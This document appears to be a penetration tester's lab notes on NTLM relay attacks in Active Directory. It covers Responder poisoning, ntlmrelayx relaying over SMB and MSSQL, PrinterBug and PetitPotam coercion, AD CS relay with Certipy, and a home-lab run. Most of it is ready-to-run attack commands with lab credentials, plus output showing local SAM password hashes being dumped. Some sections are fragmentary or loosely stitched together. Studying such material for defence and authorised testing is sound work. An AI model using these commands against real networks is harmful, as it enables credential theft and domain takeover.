An SMB Relay Attack is a Man-in-the-Middle (MitM) attack where an attacker intercepts and relays SMB (Server Message Block) authentication requests between a victim and a target server. It exploits NTLM authentication to impersonate the victim and gain unauthorized access to network resources without cracking passwords.
We used CrackMapExec to check which hosts had signing = False for relaying and found that all three hosts had it set to false, meaning they were vulnerable to the attack.
We used impacket-ntlmrelayx to perform an SMB relay attack targeting hosts in dc01.reflection.vl with SMBv2 support and set up a SOCKS proxy for pivoting.
We can abuse a default setting in Windows when the DNS server cannot respond to a DNS request and we use Responder to intercept and poison requests and then grant us a Man-In-The-Middle position to perform relay attacks. Perform relays with ntlmrelayx either by poisoning with Responder or coercing using printerbug, PetitPotam, Coercer or even mssqlclient.py.
Responder
# Analyze mode for recon
sudo python3 Responder.py -I ens192 -A
# Poisoning mode
sudo python3 Responder.py -I ens192
# Or using Pretender
./pretender -i ens192 --dry
Analyze mode is also useful to capture traffic/hashes of protocols like SMB, MSSQL, HTTP, FTP, IMAP, and LDAP Its possible to turn off SMB or specify IP in the Responder.conf file
sed -i "s/SMB = On/SMB = Off/" Responder.conf
cat Responder.conf | grep -i smb
SMB = Off
Check if SMB Signing is disabled
# Check if SMB signing is disabled
python3 RunFinger.py -i 172.16.117.0/
# With nxc
nxc smb 172.16.117.0/24 --gen-relay-list relayTargets.txt
Relaying can be done using various protocols like SMB, HTTP, LDAP, SMB, MSSQL, IMAP, RPC or any other application protocol capable of transmitting NTLM authentication messages. As client: HTTP, IMAP, LDAP, MSSQL, RPC, SMBv/1/2/3, SMTP
As server: HTTP(s), RAW, SMBv/1/2/3, WCF
NTLM Relay over MSSQL
# Setup socks proxy using mssql service
sudo ntlmrelayx.py -t mssql://172.16.117.60 -smb2support -socks
# Start poisoning
python3 Responder.py -I ens192
# Connect mssql
proxychains -q mssqlclient.py ZENCORP/nports@172.16.117.60 -windows-auth -no-pass
# Direct queries
sudo ntlmrelayx.py -t mssql://ZENCORP\\NPORTS@172.16.117.60 -smb2support -q "SELECT name FROM sys.databases;"
Use sudo su for ntlmrelayx.py -tf target.txt -smb2support -socks
using the mssql://makes ntlmrelayx to relay NTLM over mssql to the relay target instead of SMB.
To force authentication via HTTP instead of SMB we can use WebDAV which is an extension of HTTP that specifies the methods for carrying out fundamental file operations like copying, moving, deleting and creatin files through HTTP.
# Check if WebDav is running
nxc smb 172.16.117.0/24 -u zenpc$ -p pass123 -M webdav
It abuses the RpcRemoteFindFirstPrinterChangeNotificationEx method to force a target machine to send an SMB NTLM authentication request to the attacker-controlled machine. It coerces domain controllers into authenticating to the attacker.
# Trigger PrinterBug
python3 printerbug.py inlanefreight/zenpc$:'pass123'@172.16.117.3 172.16.117.30
# With SMB on receive DC01 hash
python3 Responder.py -I ens192
MS-EFSR PetitPotam
PetitPotam exploits methods from the Encrypting File System Remote Protocol (MS-EFSR), specifically EfsRpcOpenFileRaw and EfsRpcEncryptFileSrv, to coerce SMB NTLM authentication from domain-joined machines, including domain controllers.
For example, if we want to configure RBCD on SQL01$ to trust authentication coming from WS01$, we need to set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of SQL01$ to WS01$. WS01$ can then request service tickets on behalf of any user.
Coerce HTTP NTLM authentication to enable WebClient
# Get ticket
python3 gettgtpkinit.py -cert-pfx rbnYdUv8.pfx -pfx-pass NRzoep723H6Yfc0pY91Z ZENCORP.LOCAL/jperez jperez.ccache
# Winrm into DC
KRB5CCNAME=jperez.ccache evil-winrm -i dc01.zencorp.local -r ZENCORP.LOCAL
NTLM Relay Attacks Targeting AD CS
AC CS manages digital certificates, including issuance for communications, digital signing and encryption.
# Find out which host AD CS service is running
crackmapexec ldap 172.16.117.0/24 -u 'plaintext$' -p 'o6@ekK5#rlw2rAe' -M adcs
# List all certificates
crackmapexec ldap 172.16.117.3 -u plaintext$ -p 'o6@ekK5#rlw2rAe' -M adcs -o SERVER=INLANEFREIGHT-DC01-CA
Using Certipy which can enumerate and attack all of the ESC attacks.
# Run certipy relay
sudo certipy relay -target "http://172.16.117.3" -template Machine
# Trigger printerbug
python3 printerbug.py zencorp/plaintext$:'o6@ekK5#rlw2rAe'@172.16.117.50 172.16.117.30
# Use auth command to obtain the hash
certipy auth -pfx ws01.pfx -dc-ip 172.16.117.3
Example home lab [simple SMB relaying]
1 dc labdc.lab.local 192.168.1.25 [ SMB signing enabled ]
1 dc usdc.lab.local 192.168.1.26 [ SMB signing enabled ]
1 member server sqlsrv.us.lab.local 192.168.1.27 [ SMB signing disabled ]
nadat impacket-ntlmrelayx -t smb://sqlsrv -smb2support is gestart op de kali box,
wordt er vanaf een DC geconnect naar kali ip bij mij \\192.168.1.73
impacket-ntlmrelayx -t smb://sqlsrv -smb2support
┌──(bolke㉿kali)-[~/htb/lab]
└─$ impacket-ntlmrelayx -t smb://sqlsrv -smb2support
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client WINRMS loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled
[*] Servers started, waiting for connections
[*] (SMB): Received connection from 192.168.1.26, attacking target smb://sqlsrv
[*] (SMB): Authenticating connection from LAB/ADMINISTRATOR@192.168.1.26 against smb://sqlsrv SUCCEED [1]
[*] All targets processed!
[*] (SMB): Connection from 192.168.1.26 controlled, but there are no more targets left!
[*] All targets processed!
[*] (SMB): Connection from 192.168.1.26 controlled, but there are no more targets left!
[*] All targets processed!
[*] (SMB): Connection from 192.168.1.26 controlled, but there are no more targets left!
[*] All targets processed!
[*] (SMB): Connection from 192.168.1.26 controlled, but there are no more targets left!
[*] smb://LAB/ADMINISTRATOR@sqlsrv [1] -> Service RemoteRegistry is in stopped state
[*] smb://LAB/ADMINISTRATOR@sqlsrv [1] -> Starting service RemoteRegistry
[*] smb://LAB/ADMINISTRATOR@sqlsrv [1] -> Target system bootKey: 0xbfe824490d0d47968cc5184269a40634
[*] smb://LAB/ADMINISTRATOR@sqlsrv [1] -> Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6b5b5071d<redacted>38e0642ffb33:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:ff72c40b697767981d76933d6940397a:::
[*] smb://LAB/ADMINISTRATOR@sqlsrv [1] -> Done dumping SAM hashes for host: sqlsrv
[*] smb://LAB/ADMINISTRATOR@sqlsrv [1] -> Stopping service RemoteRegistry